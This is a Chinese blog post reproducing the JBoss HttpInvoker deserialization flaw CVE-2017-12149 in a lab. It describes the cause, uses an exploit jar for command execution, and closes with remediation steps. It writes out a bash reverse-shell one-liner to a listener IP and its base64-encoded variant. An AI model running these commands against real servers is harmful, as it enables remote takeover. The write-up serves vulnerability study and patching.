JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149) 复现

所有文章,仅供安全研究与学习之用,后果自负!


前言

使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

一、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

0x01 漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用 该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。
在这里插入图片描述

8080端口

0x02 影响范围

JBoss 5.x/6.x

0x03 漏洞利用

版本号

/admin-console/login.seam?conversationId=4

在这里插入图片描述

工具直接利用

jboss反序列化_CVE-2017-12149.jar
(1) 启用工具
在这里插入图片描述
(2)检测
在这里插入图片描述
(3) 执行命令
成功
在这里插入图片描述
(4) 反弹shell
如前言那里所写 bash方法需要编码

bash -i >& /dev/tcp/192.168.157.137/9897 0>&1
编码为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1Ny4xMzcvOTg5NyAwPiYx}|{base64,-d}|{bash,-i}

监听反弹shell
在这里插入图片描述
反弹shell成功
在这里插入图片描述

0x04 漏洞修复

建议用户升级到JBOSS AS7。另,不能及时升级的用户,可采取如下临时解决方案:
1.  不需要 http-invoker.sar 组件的用户可直接删除此组件。
2.  添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:<url-pattern>/*</url-pattern>
用于对 http invoker 组件进行访问控制。

总结

使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值